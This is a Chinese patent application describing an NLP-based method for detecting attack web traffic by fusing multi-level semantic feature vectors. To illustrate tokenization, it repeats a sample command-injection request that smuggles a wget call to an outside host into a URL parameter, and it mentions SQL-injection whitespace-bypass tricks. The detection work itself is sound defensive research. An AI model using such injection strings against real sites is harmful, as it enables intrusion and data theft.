CN117914542A - 用于识别网络流量的方法、装置、设备及存储介质 - Google Patents
用于识别网络流量的方法、装置、设备及存储介质 Download PDFInfo
- Publication number
- CN117914542A CN117914542A CN202311773840.7A CN202311773840A CN117914542A CN 117914542 A CN117914542 A CN 117914542A CN 202311773840 A CN202311773840 A CN 202311773840A CN 117914542 A CN117914542 A CN 117914542A
- Authority
- CN
- China
- Prior art keywords
- network traffic
- semantic
- level feature
- text
- vector
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Pending
Links
- 238000000034 method Methods 0.000 title claims abstract description 104
- 239000013598 vector Substances 0.000 claims abstract description 371
- 238000012545 processing Methods 0.000 claims description 39
- 230000015654 memory Effects 0.000 claims description 30
- 238000000605 extraction Methods 0.000 claims description 27
- 230000006870 function Effects 0.000 claims description 22
- 230000004927 fusion Effects 0.000 claims description 22
- 238000013527 convolutional neural network Methods 0.000 claims description 18
- 238000003058 natural language processing Methods 0.000 claims description 14
- 238000011176 pooling Methods 0.000 claims description 13
- 238000004590 computer program Methods 0.000 claims description 12
- 230000004913 activation Effects 0.000 claims description 9
- 230000008569 process Effects 0.000 description 23
- 238000001514 detection method Methods 0.000 description 13
- 238000010586 diagram Methods 0.000 description 10
- 238000013459 approach Methods 0.000 description 8
- 238000010801 machine learning Methods 0.000 description 8
- 238000013135 deep learning Methods 0.000 description 6
- 238000013528 artificial neural network Methods 0.000 description 5
- 238000007781 pre-processing Methods 0.000 description 5
- 238000012549 training Methods 0.000 description 5
- 230000002457 bidirectional effect Effects 0.000 description 4
- 238000004891 communication Methods 0.000 description 4
- 238000005516 engineering process Methods 0.000 description 4
- 230000007246 mechanism Effects 0.000 description 4
- 230000003287 optical effect Effects 0.000 description 4
- 230000008878 coupling Effects 0.000 description 3
- 238000010168 coupling process Methods 0.000 description 3
- 238000005859 coupling reaction Methods 0.000 description 3
- 230000009467 reduction Effects 0.000 description 3
- 230000011218 segmentation Effects 0.000 description 3
- 230000003068 static effect Effects 0.000 description 3
- 230000005540 biological transmission Effects 0.000 description 2
- 238000013145 classification model Methods 0.000 description 2
- 238000013136 deep learning model Methods 0.000 description 2
- 230000002708 enhancing effect Effects 0.000 description 2
- 238000002347 injection Methods 0.000 description 2
- 239000007924 injection Substances 0.000 description 2
- 230000010354 integration Effects 0.000 description 2
- 238000002372 labelling Methods 0.000 description 2
- 238000013507 mapping Methods 0.000 description 2
- 239000000463 material Substances 0.000 description 2
- 239000011159 matrix material Substances 0.000 description 2
- 238000012986 modification Methods 0.000 description 2
- 230000004048 modification Effects 0.000 description 2
- 238000005070 sampling Methods 0.000 description 2
- 238000013515 script Methods 0.000 description 2
- 238000013179 statistical model Methods 0.000 description 2
- RYGMFSIKBFXOCR-UHFFFAOYSA-N Copper Chemical compound [Cu] RYGMFSIKBFXOCR-UHFFFAOYSA-N 0.000 description 1
- 241000282412 Homo Species 0.000 description 1
- 108010001267 Protein Subunits Proteins 0.000 description 1
- 230000009471 action Effects 0.000 description 1
- 238000013473 artificial intelligence Methods 0.000 description 1
- 230000008901 benefit Effects 0.000 description 1
- 238000004422 calculation algorithm Methods 0.000 description 1
- 238000004364 calculation method Methods 0.000 description 1
- 230000001413 cellular effect Effects 0.000 description 1
- 238000006243 chemical reaction Methods 0.000 description 1
- 239000007795 chemical reaction product Substances 0.000 description 1
- 230000001419 dependent effect Effects 0.000 description 1
- 238000011161 development Methods 0.000 description 1
- 230000018109 developmental process Effects 0.000 description 1
- 239000000284 extract Substances 0.000 description 1
- 239000000835 fiber Substances 0.000 description 1
- 238000007499 fusion processing Methods 0.000 description 1
- 230000014509 gene expression Effects 0.000 description 1
- 230000008676 import Effects 0.000 description 1
- 230000006872 improvement Effects 0.000 description 1
- 230000003993 interaction Effects 0.000 description 1
- 239000004973 liquid crystal related substance Substances 0.000 description 1
- 238000004519 manufacturing process Methods 0.000 description 1
- 230000005055 memory storage Effects 0.000 description 1
- 238000003062 neural network model Methods 0.000 description 1
- 239000000047 product Substances 0.000 description 1
- 230000000306 recurrent effect Effects 0.000 description 1
- 230000003252 repetitive effect Effects 0.000 description 1
- 230000004044 response Effects 0.000 description 1
- 230000006403 short-term memory Effects 0.000 description 1
- 238000006467 substitution reaction Methods 0.000 description 1
- 210000003813 thumb Anatomy 0.000 description 1
- 230000001960 triggered effect Effects 0.000 description 1
Landscapes
- Data Exchanges In Wide-Area Networks (AREA)
Abstract
本公开涉及用于识别网络流量的方法、装置、设备及存储介质。一种用于识别网络流量的方法包括:接收网络流量的文本;从网络流量的文本分别提取子词级特征向量、词级特征向量和短语级特征向量;将子词级特征向量和词级特征向量对齐到短语级特征向量的维度以与短语级特征向量进行融合,从而得到网络流量的文本的语义特征向量;以及基于网络流量的文本的语义特征向量确定网络流量的类别。
Description
技术领域
本公开涉及网络安全技术领域,并且更具体地,涉及一种用于识别网络流量的方法、装置、设备、非瞬态存储介质及计算机程序产品。
背景技术
网络流量攻击例如可以包括如下场景:当网站存在Web漏洞时,攻击者会将带有恶意目的的文本嵌入在请求中并将其发送至网站,以利用漏洞对网站进行攻击。这种包含带有恶意目的的文本的网络流量可称为攻击网络流量,其不仅会危害网络安全,严重时还可能为社会带来难以估计的经济损失。而随着互联网技术的飞速发展和广泛普及,网络流量攻击事件的出现频率越来越高、攻击规模也越来越大,并且攻击方式越来越多样化。
发明内容
在下文中给出了关于本公开的简要概述,以便提供关于本公开的一些方面的基本理解。但是,应当理解,这个概述并不是关于本公开的穷举性概述。它并不是意图用来确定本公开的关键性部分或重要部分,也不是意图用来限定本公开的范围。其目的仅仅是以简化的形式给出关于本公开的某些概念,以此作为稍后给出的更详细描述的前序。
根据本公开的第一方面,提供了一种用于识别网络流量的方法。该方法包括接收网络流量的文本。该方法还包括从网络流量的文本分别提取子词级特征向量、词级特征向量和短语级特征向量。该方法还包括将子词级特征向量和词级特征向量对齐到短语级特征向量的维度以与短语级特征向量进行融合,从而得到网络流量的文本的语义特征向量。该方法还包括基于网络流量的文本的语义特征向量确定网络流量的类别。
根据本公开的第二方面,提供了一种用于识别网络流量的装置。该装置包括文本接收模块、语义提取模块以及流量识别模块。文本接收模块被配置为接收网络流量的文本。语义提取模块被配置为从网络流量的文本分别提取子词级特征向量、词级特征向量和短语级特征向量,以及将子词级特征向量和词级特征向量对齐到短语级特征向量的维度以与短语级特征向量进行融合,从而得到网络流量的文本的语义特征向量。流量识别模块被配置为基于网络流量的文本的语义特征向量确定网络流量的类别。
根据本公开的第三方面,提供了一种用于识别网络流量的设备。该设备包括一个或多个处理器,以及存储计算机可执行指令的存储器。计算机可执行指令在被一个或多个处理器执行时使得一个或多个处理器执行根据本公开的第一方面的任一实施例所述的用于识别网络流量的方法。
根据本公开的第四方面,提供了一种其上存储有计算机可执行指令的非瞬态存储介质。计算机可执行指令在被计算机执行时使得计算机执行根据本公开的第一方面的任一实施例所述的用于识别网络流量的方法。
根据本公开的第五方面,提供了一种计算机程序产品。该计算机程序产品包括指令。指令在被处理器执行时实现根据本公开的第一方面的任一实施例所述的用于识别网络流量的方法。
附图说明
从结合附图示出的本公开的实施例的以下描述中,本公开的前述和其它特征和优点将变得清楚。附图结合到本文中并形成说明书的一部分,进一步用于解释本公开的原理并使本领域技术人员能够制造和使用本公开。其中:
图1示出了根据本公开的实施例的用于识别网络流量的方法的流程图;
图2A和图2B分别示出了实现根据本公开的实施例的用于识别网络流量的方法的非限制性示例过程的流程图;
图3示出了根据本公开的实施例的用于识别网络流量的装置的示意性框图;
图4示出了根据本公开的实施例的用于识别网络流量的设备的示意性框图;
图5示出了可以在其上实现本公开的实施例的计算机系统的示意性框图。
注意,在以下说明的实施方式中,有时在不同的附图之间共同使用同一附图标记来表示相同部分或具有相同功能的部分,而省略其重复说明。在一些情况中,使用相似的标号和字母表示类似项,因此,一旦某一项在一个附图中被定义,则在随后的附图中不需要对其进行进一步讨论。
为了便于理解,在附图等中所示的各结构的位置、尺寸及范围等有时不表示实际的位置、尺寸及范围等。因此,本公开并不限于附图等所公开的位置、尺寸及范围等。
具体实施方式
下面将参照附图来详细描述本公开的各种示例性实施例。应注意到:除非另外具体说明,否则在这些实施例中阐述的部件和步骤的相对布置、数字表达式和数值不限制本公开的范围。
以下对至少一个示例性实施例的描述实际上仅仅是说明性的,决不作为对本公开及其应用或使用的任何限制。也就是说,本文中的结构及方法是以示例性的方式示出,来说明本公开中的结构和方法的不同实施例。然而,本领域技术人员将会理解,它们仅仅说明可以用来实施的本公开的示例性方式,而不是穷尽的方式。此外,附图不必按比例绘制,一些特征可能被放大以示出具体组件的细节。
另外,对于相关领域普通技术人员已知的技术、方法和设备可能不作详细讨论,但在适当情况下,所述技术、方法和设备应当被视为说明书的一部分。
在这里示出和讨论的所有示例中,任何具体值应被解释为仅仅是示例性的,而不是作为限制。因此,示例性实施例的其它示例可以具有不同的值。
识别接收到的网络流量是否是攻击网络流量(即,网络流量攻击检测)有利于维护网络安全。目前,主流的网络流量攻击检测的方法可以分为两类:基于规则的正则匹配方法和利用机器学习或深度学习的识别方法。基于规则的正则匹配方法属于传统方法,如今仍然是业界的主流选择,但这类方法需要维护大量的规则,并且容易被用各种各样的方式绕过(例如,通过将攻击网络流量的文本中的攻击字段变形,比如SQL注入绕过技术中的空格字符绕过包括用两个空格代替一个空格、用Tab代替空格、将空格字符替换为注释等)。利用机器学习或深度学习的识别方法需要使用大量的标注数据样本训练机器学习或深度学习模型以用于识别网络流量。利用机器学习或深度学习的识别方法在面对大多数采用绕过方式的攻击网络流量时比基于规则的正则匹配方法表现更好。但是,在实际环境中,由于每个网站的特征结构、业务逻辑等都不同,实际网站的网络流量的文本的特征可能与用于识别网络流量的机器学习或深度学习模型的训练数据相差较大,导致经训练的模型可能将正常网络流量误识别为攻击网络流量并拦截,最终影响到网站的正常业务功能,降低用户使用质量。因此,利用机器学习或深度学习的识别方法往往存在模型泛化性不足、误报率较高的问题。
NLP(Nature Language Processing,自然语言处理)是人工智能的一个分支,它使机器(例如计算机)能够以与人类相同的方式理解人类语言。NLP几乎无处不在,可以帮助人们完成日常任务,包括拼写检查、自动完成、垃圾邮件检测等。NLP的应用在表面上看起来似乎是理所当然的,但需要知道机器处理的是数字而不是字母/单词/句子。因此,为了处理文本数据,需要对文本进行清洗和操作,这通常在NLP中称为文本预处理。在文本预处理中,标记化(Tokenization)是最重要的步骤之一,其是将诸如短语、句子、段落、文档之类的文本拆分为小语义单元的过程,这些小语义单元中的每一个可称为词元(Token)。一般而言,标记化包括字符级标记化(Character-level Tokenization)、子词级标记化(Subword-levelTokenization)和词级标记化(Word-level Tokenization)。
本公开认识到,可以在网络流量攻击检测场景中应用NLP来处理网络流量的文本以便促进网络流量的识别。由于这更多是依赖于网络流量本身而(例如,相比于利用机器学习或深度学习的识别方法)降低了对每个网站的特征结构、业务逻辑等网站特点的依赖,因此可以实现良好的泛化性。可以分别通过字符级标记化、子词级标记化和/或词级标记化对网络流量的文本进行预处理然后应用NLP从网络流量的文本中提取出字符级语义特征信息、子词级语义特征信息和/或词级语义特征信息。可以单独或结合利用所提取的这些语义特征信息来识别网络流量是正常网络流量还是攻击网络流量。这可以尤其有利于识别采用绕过方式的攻击网络流量。如前所述,采用绕过方式的攻击网络流量通常会将网络流量文本的攻击字段变形以逃避例如基于规则的正则匹配方法的检测,但是攻击字段即使在变形后可能整体看起来伪装成了正常字段,也仍然在其中包含了攻击元素,而字符级标记化、子词级标记化和词级标记化可以将网络流量的文本分割到很小的语义单元,从而可以有助于发现蕴含在文本中的攻击元素。但是,在字符级标记化、子词级标记化和词级标记化三者当中,字符级标记化可能在某些方面相对于其它二者更不适于网络流量攻击检测场景,这是因为字符级标记化会使得从文本得到的序列非常长而导致计算量巨大,这个问题对于通常为长文本的网络流量文本来说更加严重,另外字符本身也无法对语义进行较好的表征。因此,综合来看,通过子词级标记化和/或词级标记化对网络流量的文本进行预处理然后应用NLP从网络流量的文本中提取出子词级语义特征信息和/或词级语义特征信息以用于识别网络流量可以是适合的。但是,仍要注意的是,在一些情况下,例如网络流量的文本特别长时,这类方法也可能效果欠佳。另外,在子词级标记化和词级标记化二者当中,词级标记化可能难以处理未曾遇见过的词或需要预先构建巨大的词汇表,但词本身可能能够比子词对语义进行更好的表征,有利于提取出更深层的语义特征信息。
本公开进一步认识到,对于攻击网络流量的文本,该文本中的攻击字段必须符合正确的攻击结构才能实现其攻击目的,否则无法触发攻击。这种攻击结构通常是由多种字符串组成的短语。作为非限制性示例,一条涉及命令执行攻击的攻击网络流量的文本为
“/index.php?email=8&address=7&page=upgrade&key=;wget+http://www.xx.cn/password.txt;”,
其试图调用Linux系统的命令执行下载功能,因此其攻击字段“wget+http://www.xx.cn/password.txt;”符合正常Linux系统的逻辑从而能触发攻击。考虑到攻击网络流量的文本的攻击结构属于短语级语义特征信息,因此从网络流量的文本提取短语级语义特征信息可以有利于识别网络流量是否是攻击网络流量。但是,在文本预处理中少有短语级标记化,更没有为网络流量文本量身定制的短语级语义特征信息提取方法。若能通过短语级标记化对网络流量的文本进行预处理,就能应用NLP从网络流量的文本中提取出比子词级语义特征信息和词级语义特征信息更深层的短语级语义特征信息,从而增强对网络流量的识别能力。而且,短语级标记化相比于子词级标记化和词级标记化能够将文本处理成更简短的序列,从而增强对网络流量的长文本的处理能力。
为此,本公开提供了一种用于识别网络流量的方法及相关装置,其从子词级(subword-level)维度、词级(word-level)维度和短语级(phrase-level)维度这三个维度提取网络流量文本的多维度语义特征信息并基于提取出的多维度语义特征信息来识别网络流量。本公开能够在提高攻击网络流量的检出率的同时降低将正常网络流量误识别为攻击网络流量的误报率,在网络流量攻击检测场景下具有良好的准确性和泛化性。本公开具有增强的对长文本网络流量的识别能力,能够有利地应用于诸如Web应用防火墙等之类的网络流量攻击检测场景,适用于各种网站的各种网络流量的攻击检测,既保证了网站的网络安全,又避免影响到网站的正常业务功能。
下面首先将结合图1详细描述根据本公开的各种实施例的用于识别网络流量的方法100。可以理解,实际的方法可能还包括其它步骤,但是为了避免模糊本公开的要点,本文不去讨论并且附图也未示出这些其它步骤。
如图1所示,方法100包括步骤S102至步骤S108。
在步骤S102处,接收网络流量的文本。
在步骤S104处,从网络流量的文本分别提取子词级特征向量、词级特征向量和短语级特征向量。
在步骤S106处,将子词级特征向量和词级特征向量对齐到短语级特征向量的维度以与短语级特征向量进行融合,从而得到网络流量的文本的语义特征向量。
在步骤S108处,基于网络流量的文本的语义特征向量确定网络流量的类别。
首先在此描述从网络流量的文本提取子词级特征向量和词级特征向量的过程。
可以通过本领域已知的用于子词级标记化和词级标记化的各种方法来预处理网络流量的文本。常见的子词级标记化方法包括BPE(Byte Pair Encoding,字节对编码)、WordPiece、SentencePiece、ULM(Unigram Language Model,一元语言模型)等。常见的词级标记化方法包括按空格分隔单词等。
在通过子词级标记化和词级标记化分别进行文本预处理之后,可以通过任何合适的方法从预处理后的文本中分别提取出子词级特征向量和词级特征向量。例如,可以简单地将预处理后的文本映射到向量空间,附加地还可以对其应用语义嵌入(SemanticEmbedding)模型来获得其嵌入表示以便提取更深层的语义信息。本文所使用的语义嵌入模型可以是现在已知或以后开发的各种能够输出所接收输入的嵌入表示的模型,包括例如但不限于CNN(Convolutional Neural Network,卷积神经网络)、GRU(Gate Recurrent Unit,门控循环单元)、BiGRU(Bidirectional GRU,双向门控循环单元)、LSTM(Long Short TermMemory,长短期记忆)网络、BiLSTM(Bidirectional LSTM,双向长短期记忆)网络等。
可以通过任何合适的经训练的NLP模型来从网络流量的文本提取子词级特征向量和词级特征向量。出于非限制性说明目的,这里所使用的NLP模型例如可以包括SemBERT(Semantics-aware Bidirectional Encoder Representation from Transformers,语义感知的来自变换器的双向编码器表示)模型。BERT(Bidirectional EncoderRepresentation from Transformers,来自变换器的双向编码器表示)模型是由谷歌提出的一种预训练模型,其细节可在文章《Attention is all you need》(https://arxiv.org/pdf/1706.03762.pdf)中找到。SemBERT模型是由云从科技和上海交通大学提出的BERT模型的一种变型,其细节可在《Semantics-aware BERT for Language Understanding》(https://arxiv.org/pdf/1909.02209.pdf)中找到。当应用SemBERT模型来处理网络流量的文本时,可以在BERT支路上提取子词级特征向量,以及在SRL(Semantic Role Labeling,语义角色标注)支路上提取词级特征向量。具体地,在BERT支路上,可以对网络流量的文本执行BPE算法以进行子词级标记化,然后将经子词级标记化的文本输入BERT模型以得到子词级特征向量;在SRL支路上,可以从各个角度对网络流量的文本执行语义角色标注,然后利用向量查找表将每个角度的语义角色标签向量化并馈入BiGRU层以获得每个角度的语义角色标签的深层语义信息,再利用全连接层将不同角度的语义角色标签的深层语义信息融合在一起以得到词级特征向量。进一步地,还可以将从BERT支路得到的子词级特征向量馈入CNN层和池化层以将其对齐到词级维度,从而能够与SRL支路上得到的词级特征向量融合在一起,以得到网络流量的文本的词级语义特征向量。
接下来在此描述从网络流量的文本提取短语级特征向量的过程。
可以将网络流量的文本分割为词元,然后根据预设组合规则将相邻的词元组合为短语,以得到网络流量的文本的与预设组合规则对应的语义序列(这里的语义序列即短语序列),最后从网络流量的文本的上述语义序列提取语义表示以得到短语级特征向量。
语义表示本身可以直接作为短语级特征向量,或者在经过一些处理后得到短语级特征向量。例如,在考虑上下文关联性时,还可以对语义表示执行移动平均处理来得到短语级特征向量。
以如下网络流量的文本作为非限制性示例进行说明:
“/index.php?email=8&address=7&page=upgrade&key=;wget+http://www.xx.cn/password.txt;”。
可以根据任何合适的分割规则将网络流量的文本分割为词元,只要词元被分割成小于短语结构即可,例如采用各种字符级/子词级/词级标记化方法也是可行的。作为示例而非限制,可以按照单词和符号可以将上述文本分割为以下词元:“/”、“index”、“.”、“php”、“?”、“email”、“=”、“8”、“&”、“address”、“=”、“7”、“&”、“page”、“=”、“upgrade”、“&”、“key”、“=”、“;”、“wget”、“+”、“http”、“:”、“/”、“/”、“www”、“.”、“xx”、“.”、“cn”、“/”、“password”、“.”、“txt”、“;”。
可以根据任何合适的组合规则将相邻的词元组合为短语。如前所述,攻击网络流量的文本需要具有符合正确攻击结构的攻击字段才能触发攻击。因此,在一些实施例中,可以根据攻击网络流量的文本的攻击结构来确定用于将相邻的词元组合为短语的预设组合规则。例如,如果根据涉及敏感文件路径的攻击网络流量的文本的攻击结构来确定预设组合规则,那么按照该预设组合规则可以将上面分割得到的词元中的相邻词元组合为包括以下短语的语义序列p1={“/index.php”,“?”,“email”,“=”,“8”,“&”,“address”,“=”,“7”,“&”,“page”,“=”,“upgrade”,“&”,“key”,“=”,“;”,“wget”,“+”,“http://”,“www.xx.cn”,“/password.txt”,“;”}。
可以根据现在已知的或以后开发的多种攻击结构中的每种攻击结构确定相应的预设组合规则。按照一条预设组合规则组合相邻词元也可能得到不止一条语义序列。例如,还可以按照根据涉及URL(Uniform Resource Locator,统一资源定位符)重定向的攻击网络流量的文本的攻击结构确定的预设组合规则将上面分割得到的词元中的相邻词元组合为包括以下短语的语义序列p2={“/index.php”,“?”,“email”,“=”,“8”,“&”,“address”,“=”,“7”,“&”,“page”,“=”,“upgrade”,“&”,“key”,“=”,“;”,“wget”,“+”,“http://www.xx.cn/password.txt”,“;”}和p2’={“/index.php”,“?”,“email=8”,“&”,“address=7”,“&”,“page=upgrade”,“&”,“key=;”,“wget”,“+”,“http://www.xx.cn/password.txt”,“;”},也可以按照根据涉及命令执行的攻击网络流量的文本的攻击结构确定的预设组合规则将上面分割得到的词元中的相邻词元组合为包括以下短语的语义序列p3={“/index.php”,“?”,“email”,“=”,“8”,“&”,“address”,“=”,“7”,“&”,“page”,“=”,“upgrade”,“&”,“key”,“=”,“;”,“wget+http://www.xx.cn/password.txt;”}和p3’={“/index.php”,“?”,“email=8”,“&”,“address=7”,“&”,“page=upgrade”,“&”,“key=;”,“wget+http://www.xx.cn/password.txt;”}。
在应用按照根据各种类型的攻击网络流量的文本的攻击结构确定的每条预设组合规则(简称为攻击组合规则)时,若发现无法将相邻词元按照该条攻击组合规则正确组合成相应攻击结构,则可以放弃得到网络流量文本的与该条攻击组合规则对应的语义序列。若发现分割得到的词元无法适用任何攻击组合规则,则可以认为该网络流量为正常网络流量从而直接结束识别过程,或者结束短语级特征向量提取过程而仅基于通过融合子词级特征向量和词级特征向量得到的语义特征向量来识别网络流量,但是这在一些情况下可能会造成漏检。替代地,可以尝试更改分割规则并在对网络流量的文本重新分割词元后再次尝试应用攻击组合规则。附加地或替代地,可以设置一条或多条默认组合规则进行兜底,使得即使词元无法通过任何攻击组合规则组合起来时也能通过默认组合规则得到语义序列以便进入短语级特征向量提取过程的后续阶段。默认组合规则例如可以基于网络流量文本的常见短语结构来确定。当然,即使词元可以使用一条或多条攻击组合规则,也可对其附加地应用默认组合规则。
上述语义序列的产生过程可以视为网络流量的文本的短语级预处理。在此之后,可以通过任何合适的方法从短语级预处理后的文本中提取出短语级特征向量。类似于子词级提取和词级提取的情形,可以简单地将短语级预处理后的文本映射到向量空间,附加地还可以对其应用语义嵌入模型来获得其嵌入表示以便提取更深层的语义信息。
在一些实施例中,从网络流量的文本的语义序列提取语义表示包括:将语义序列中的短语转换为向量以得到向量序列,以及利用经训练的语义嵌入模型处理向量序列以得到网络流量的文本的语义表示。利用语义嵌入模型得到的语义表示也即语义嵌入模型针对所接收的向量序列输出的嵌入表示,其相较于向量序列蕴含了更深层的语义信息。
可以采用现在已知或以后开发的各种文本-向量转换方法来将语义序列中的短语转换为向量以得到向量序列,这些转换方法例如包括但不限于独热模型(One Hot Model)、词袋模型(Bag of Words Model)、词频-逆文档频率(TF-IDF)、N元模型(N-Gram)、单词-向量模型(Word2vec)、文档-向量模型(Doc2vec)等。在一些实施例中,还可以根据预设短语-向量对应表,将语义序列中的短语替换为其在该预设短语-向量对应表中对应的向量以得到向量序列。在一些示例中,预设短语-向量对应表可以被设置为使得在该预设短语-向量对应表中,与攻击网络流量相关的短语对应于特定向量,该特定向量被配置为使得其文本的向量序列包括该特定向量的网络流量更倾向于被确定为攻击网络流量。例如,在设置短语-向量对应表时,可以根据专业知识和经验预先将与攻击网络流量相关的短语所对应的向量设置得比与正常网络流量相关的短语所对应的向量更为特殊,从而在后续语义提取过程中突出其攻击性。例如,假设短语被向量化为二进制向量,那么可以使得与攻击性越强或攻击可能性越高的网络流量相关的短语所对应的向量包含越多的1,而与攻击性越弱或攻击可能性越低的网络流量相关的短语所对应的向量包含越多的0。此外,还可以通过向与正常网络流量相关的短语和与攻击网络流量相关的短语分别施加独特的标签,再将带标签的短语转换为向量,来在后续语义提取过程中突出与攻击网络流量相关的短语。对于不同攻击类型的攻击网络流量,也可以对其相关短语施加不同的标签。可以理解,这些仅是示例性而非限制性的,还可以根据实际情况采用其它任何适合的从语义空间到向量空间的映射手段来将语义序列中的短语转换为向量以得到向量序列。
可以利用任何合适的语义嵌入模型处理向量序列以得到网络流量的文本的语义表示,例如但不限于CNN、GRU、BiGRU、LSTM、BiLSTM等。为了便于语义嵌入模型处理,在一些实施例中,可以将语义序列中的短语转换为向量以得到向量序列并将向量序列对齐到预设长度,以及将对齐后的向量序列输入到经训练的语义嵌入模型以得到网络流量的文本的语义表示。在另一些实施例中,也可以将语义序列对齐到预设长度并将对齐后的语义序列中的短语转换为向量以得到对齐后的向量序列,以及将对齐后的向量序列输入到经训练的语义嵌入模型以得到网络流量的文本的语义表示。可以利用填充(例如,补零)的方式来将语义序列或向量序列对齐到预设长度。最终用于输入到语义嵌入模型的对齐后的向量序列的维度可以与语义嵌入模型的输入维度一致。
在根据一条或多条预设组合规则中的每条预设组合规则将相邻的词元组合为短语,以得到网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义序列的情况下,从网络流量的文本的语义序列提取语义表示可以包括:针对网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义序列,将该语义序列中的短语转换为向量以得到向量序列,以及利用经训练的语义嵌入模型处理向量序列以得到语义表示;将网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义表示进行融合以得到网络流量的文本的语义表示。如前所述,每条预设组合规则可能导致不止一条语义序列,相应地导致不止一条语义表示。这里的融合可以用各种合适的方式进行,只要使得各条语义表示的融合结果包括来自各条语义表示的信息即可。来自语义表示的信息可以直接是语义表示的至少一部分,或者是从语义表示的至少一部分衍生得到的。
在一些实施例中,融合可以通过将各条语义表示拼接在一起来进行。这种拼接可以保留各条语义表示的原始信息,但是可能会导致得到的短语级特征向量太大,增强后续处理的计算负担。
在一些实施例中,融合可以通过全连接层来进行。为了便于全连接层处理,在一些示例中,可以将针对网络流量的文本得到的语义序列的数量对齐到预设数量,针对网络流量的文本的所述预设数量的语义序列中的每个语义序列,将该语义序列中的短语转换为向量以得到向量序列,以及利用经训练的语义嵌入模型处理向量序列以得到语义表示,然后通过全连接层将网络流量的文本的所述预设数量的语义表示进行融合。在另一些示例中,也可以针对网络流量的文本的每条语义序列,将该语义序列中的短语转换为向量以得到向量序列,将针对网络流量的文本得到的向量序列的数量对齐到预设数量,利用经训练的语义嵌入模型处理网络流量的文本的所述预设数量的向量序列中的每个向量序列以得到语义表示,然后通过全连接层将网络流量的文本的所述预设数量的语义表示进行融合。在又一些示例中,还可以对网络流量的文本的每条语义序列,将该语义序列中的短语转换为向量以得到向量序列,以及利用经训练的语义嵌入模型处理向量序列以得到语义表示,然后将针对网络流量的文本得到的语义表示的数量对齐到预设数量,并通过全连接层将网络流量的文本的所述预设数量的语义表示进行融合。可以利用填充(例如,补零)的方式来将语义序列或向量序列或语义表示对齐到预设数量。最终用于输入到全连接层的语义表示的总维度可以与全连接层的输入维度一致。
除了语义嵌入模型外,还可以通过以下非限制性示例方式从语义序列中提取语义表示以得到短语级特征向量。第一是基于语言模型的方式,例如Word2Vec1、GloVe2、FastText3等,这种方式利用神经网络或者统计模型来学习语义序列中的短语之间的概率关系,从而得到稠密的向量表示。第二是基于注意力机制的方式,例如BERT4、ERNIE(Enhanced Representation through Knowledge Integration,通过知识集成的增强表示)等,这种方式利用注意力机制来捕捉语义序列中不同位置之间的相关性,从而得到动态的向量表示。第三是基于图神经网络的方式,例如GAT(Graph Attention Network,图注意力网络)、GraphSAGE等,这种方式将语义序列视为图结构,其中节点表示短语,边表示短语之间的语义关系,然后利用图神经网络来学习节点和边的特征向量。可以理解的是,虽然这里是关于短语级特征向量进行的描述,但是上述方式也可类似地用于从网络流量的文本分别提取子词级特征向量和词级特征向量,例如基于语言模型的方式可以利用神经网络或者统计模型来学习子词级或词级标记化得到的子词或词序列中的子词或词之间的概率关系从而得到稠密的向量表示,基于注意力机制的方式可以利用注意力机制来捕捉子词级或词级标记化得到的子词或词序列中不同位置之间的相关性从而得到动态的向量表示,基于图神经网络的方式可以将子词级或词级标记化得到的子词或词序列视为图结构,其中节点表示子词或词,边表示子词或词之间的语义关系,然后利用图神经网络来学习节点和边的特征向量。
接下来在此描述子词级特征向量、词级特征向量和短语级特征向量的融合过程。
在一些实施例中,可以分别将子词级特征向量和词级特征向量对齐到短语级特征向量的维度,再将对齐后的子词级特征向量、对齐后的词级特征向量与短语级特征向量(在短语级维度)进行融合,从而得到网络流量的文本的(短语级)语义特征向量。在另一些实施例中,也可以将子词级特征向量对齐到词级特征向量的维度以与词级特征向量(在词级维度)进行融合,以及将融合后的词级特征向量对齐到短语级特征向量的维度以与短语级特征向量(在短语级维度)进行融合,从而得到网络流量的文本的(短语级)语义特征向量。这里的特征向量的对齐例如可以是通过维度对齐模型进行的,该维度对齐模型可以包括池化层(包括但不限于最大池化层、平均池化层等),附加地还可以包括CNN层和激活函数(例如,ReLU,Softmax,Sigmoid等)层中的至少一者。池化层可以通过下采样实现维度的降低。CNN层具有良好的捕捉向量特征的能力,可以有助于在池化层进行下采样之前再次进行特征提取,以缓解下采样可能导致的信息丢失和失真。激活函数层可以对CNN层的线性计算结果进行非线性映射。
包括一层池化层以及可选的一层CNN层和一层激活函数层的维度对齐模型可被配置用于降低一级维度(可视为应用一次维度对齐模型)。两个这样的维度对齐模型的级联可被配置用于降低两级维度(可视为应用两次维度对齐模型)。比如,在通过SemBERT模型提取子词级特征向量和词级特征向量的一些实施例中,可以将通过对BERT支路得到的子词级特征向量应用两次维度对齐模型以将其降低至短语级维度,通过对SRL支路得到的词级特征向量应用一次维度对齐模型以将其降低至短语级维度,然后将它们与所提取的短语级特征向量融合在一起。在通过SemBERT模型提取子词级特征向量和词级特征向量的另一些实施例中,SemBERT模型的最终输出结果已将BERT支路得到的子词级特征向量降低至词级维度并与SRL支路得到的词级特征向量融合在一起,因此可以对SemBERT模型的最终输出结果再应用一次维度对齐模型以将其降低至短语级维度,然后将它与所提取的短语级特征向量融合在一起。
这里的特征向量融合同样可以用各种合适的方式进行,只要使得各个特征向量的融合结果包括来自各个特征向量的信息即可。来自特征向量的信息可以直接是特征向量的至少一部分,或者是从特征向量的至少一部分衍生得到的。在一些实施例中,融合可以通过将各个特征向量拼接在一起来进行。例如,可以将子词级特征向量和词级特征向量对齐到短语级特征向量的维度以与短语级特征向量进行拼接。这种拼接可以保留各个特征向量的原始信息。在一些实施例中,融合可以通过全连接层来进行。例如,可以将子词级特征向量和词级特征向量对齐到短语级特征向量的维度以与短语级特征向量共同输入全连接层进行融合。
